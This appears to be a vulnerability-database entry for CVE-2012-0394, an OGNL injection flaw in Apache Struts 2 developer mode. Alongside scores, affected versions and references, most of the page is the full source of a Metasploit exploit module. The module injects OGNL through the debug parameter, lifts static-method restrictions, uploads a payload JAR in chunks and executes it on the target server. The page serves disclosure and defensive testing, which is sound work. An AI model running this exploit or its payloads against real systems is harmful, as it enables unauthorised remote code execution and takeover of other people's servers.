CVE-2012-0394
medium
CVSS v3
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CVSS v4 NEW
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VIR risk
7.8
Description
Apache Struts's DebuggingInterceptor component allows remote code execution in developer mode
Predictions
Exploit likelihood
20%
Patch ETA
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Exploits
Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.
Exploit-DB
Apache Struts - Developer Mode OGNL Execution (Metasploit)
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper
def initialize(info = {})
super(update_info(info,
'Name' => 'Apache Struts Developer Mode OGNL Execution',
'Description' => %q{
This module exploits a remote command execution vulnerability in Apache
Struts 2. The problem exists on applications running in developer mode,
where the DebuggingInterceptor allows evaluation and execution of OGNL
expressions, which allows remote attackers to execute arbitrary Java
code. This module has been tested successfully in Struts 2.3.16, Tomcat
7 and Ubuntu 10.04.
},
'Author' =>
[
'Johannes Dahse', # Vulnerability discovery and PoC
'Andreas Nusser', # Vulnerability discovery and PoC
'Alvaro', # @pwntester, 2014's PoC, avoided surname because of the spanish char, sorry about that :\
'juan vazquez' # Metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2012-0394'],
[ 'OSVDB', '78276'],
[ 'EDB', '18329'],
[ 'URL', 'https://www.sec-consult.com/fxdata/seccons/prod/temedia/advisories_txt/20120104-0_Apache_Struts2_Multiple_Critical_Vulnerabilities.txt' ],
[ 'URL', 'http://www.pwntester.com/blog/2014/01/21/struts-2-devmode/' ]
],
'Platform' => 'java',
'Arch' => ARCH_JAVA,
'Targets' =>
[
[ 'Struts 2', { } ]
],
'DisclosureDate' => 'Jan 06 2012',
'DefaultTarget' => 0))
register_options(
[
Opt::RPORT(8080),
OptString.new('TARGETURI', [ true, 'The path to a struts application action', "/struts2-blank/example/HelloWorld.action"])
], self.class)
end
def check
vprint_status("Testing to see if the target can evaluate our Java code...")
addend_one = rand_text_numeric(rand(3) + 1).to_i
addend_two = rand_text_numeric(rand(3) + 1).to_i
sum = addend_one + addend_two
res = execute_command("new java.lang.Integer(#{addend_one}+#{addend_two})")
if res and res.code == 200 and res.body.to_i == sum
return Exploit::CheckCode::Vulnerable
end
if res and res.code == 200 and res.body.to_s =~ /#{sum}/
vprint_status("Code got evaluated. Target seems vulnerable, but the response contains something else:")
vprint_line(res.body.to_s)
return Exploit::CheckCode::Appears
end
return CheckCode::Safe
end
def exploit
@payload_jar = rand_text_alphanumeric(4+rand(4)) + ".jar"
upload_jar
execute_jar
end
def upload_jar
append = 'false'
jar = payload.encoded_jar.pack
chunk_length = 384 # 512 bytes when base64 encoded
while(jar.length > chunk_length)
java_upload_part(jar[0, chunk_length], @payload_jar, append)
jar = jar[chunk_length, jar.length - chunk_length]
append='true'
end
java_upload_part(jar, @payload_jar, append)
end
def java_upload_part(part, filename, append = 'false')
cmd = "#f=new java.io.FileOutputStream('#{filename}',#{append}),"
cmd << "#f.write(new sun.misc.BASE64Decoder().decodeBuffer('#{Rex::Text.encode_base64(part)}')),"
cmd << "#f.close()"
execute_command(cmd)
end
def execute_jar
cmd = ""
# disable Vararg handling (since it is buggy in OGNL used by Struts 2.1
cmd << "#q=@java.lang.Class@forName('ognl.OgnlRuntime').getDeclaredField('_jdkChecked'),"
cmd << "#q.setAccessible(true),#q.set(null,true),"
cmd << "#q=@java.lang.Class@forName('ognl.OgnlRuntime').getDeclaredField('_jdk15'),"
cmd << "#q.setAccessible(true),#q.set(null,false),"
# create classloader
cmd << "#cl=new java.net.URLClassLoader(new java.net.URL[]{new java.io.File('#{@payload_jar}').toURI().toURL()}),"
# load class
cmd << "#c=#cl.loadClass('metasploit.Payload'),"
# invoke main method
cmd << "#c.getMethod('main',new java.lang.Class[]{@java.lang.Class@forName('[Ljava.lang.String;')}).invoke("
cmd << "null,new java.lang.Object[]{new java.lang.String[0]})"
execute_command(cmd)
end
def execute_command(cmd)
injection = "#f=#_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess'),#f.setAccessible(true),#f.set(#_memberAccess,true),CMD"
injection.gsub!(/CMD/, cmd)
vprint_status("Attempting to execute: #{cmd}")
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path.to_s),
'method' => 'GET',
'vars_get' =>
{
'debug' => 'command',
'expression' => injection
}
})
return res
end
end
Apache Struts 2 < 2.3.1 - Multiple Vulnerabilities
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Metasploit modules
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Package impact
| Ecosystem | Package | Vulnerable | Fixed |
|---|---|---|---|
| Maven | org.apache.struts.xwork:xwork-core | <2.3.18 | 2.3.18 |
Application impact
| Vendor | Product | Versions | Fixed |
|---|---|---|---|
| apache | struts | {"startIncluding":"2.0.0","endIncluding":"2.3.17"} | |
References
- http://archives.neohapsis.com/archives/bugtraq/2012-01/0031.html
- http://struts.apache.org/2.x/docs/s2-008.html
- http://struts.apache.org/2.x/docs/version-notes-2311.html
- http://www.exploit-db.com/exploits/18329
- http://www.exploit-db.com/exploits/31434
- http://www.osvdb.org/78276
- https://www.sec-consult.com/files/20120104-0_Apache_Struts2_Multiple_Critical_Vulnerabilities.txt
- https://nvd.nist.gov/vuln/detail/CVE-2012-0394
- https://github.com/apache/struts/commit/34c80dae734e70f13c0e46f9c83602fb71318e58
- https://github.com/apache/struts/commit/9cad25f258bb2629d263f828574d2671366c238d
- https://github.com/apache/struts
- https://issues.apache.org/jira/browse/WW-3729
CWEs
CWE-94
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